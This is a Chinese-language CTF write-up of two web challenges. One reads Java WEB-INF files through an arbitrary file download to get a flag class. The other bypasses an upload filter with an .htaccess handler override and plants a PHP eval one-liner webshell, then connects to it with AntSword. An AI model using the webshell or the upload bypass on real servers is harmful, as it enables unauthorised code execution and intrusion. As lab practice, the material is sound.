[RoarCTF 2019]Easy Java
查看源码发现有一个help.dox文件,但是读不了
看了一下网上的wp这道题知识点还是挺多的
首先bp抓包把GET请求改成POST请求就能查看文件了(还是要积累经验),只要改’GET’就行了,别的都不用动
但help.docx里没有有用的信息,那你给我提示这个文件干嘛???
但是我们知道了可以用这种方式请求文件
用http://7f1b9882-442b-4f1f-8b09-c842d6f13b50.node3.buuoj.cn/Download?filename=WEB-INF/web.xml
请求下载web.xml文件
WEB-INF包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
可以在里面找到FlagController和它的路径,但其实这里还是比较靠经验和对Java路径的熟悉程度的,最后的文件路径是Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
,老样子要改成POST
获得FlagController.class文件,将其中的flag base64解码即可
[GXYCTF2019]BabyUpload
和之前有一道题一样先上传.htaccess文件让.jpeg被当作.php执行,然后上传一句话木马
//.htacsess
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
因为网页设置过滤,只能上传image/jpeg文件,所以bp抓包改文件名成.htaccess,上传成功后回显文件路径
再上传一句话木马,在源码里我们能看到它正则过滤了<?
,所以用java来写一句话木马
//1.jpeg
<script language='php'>eval($_POST[cmd]);</script>
上传成功后蚁剑连接回显的地址,从upload开始才是正确的地址http://be900a97-e25e-47d0-b8dd-191aae7f18ba.node3.buuoj.cn/upload/48292674a17b729468ad3b0f28d521b4/1.jpeg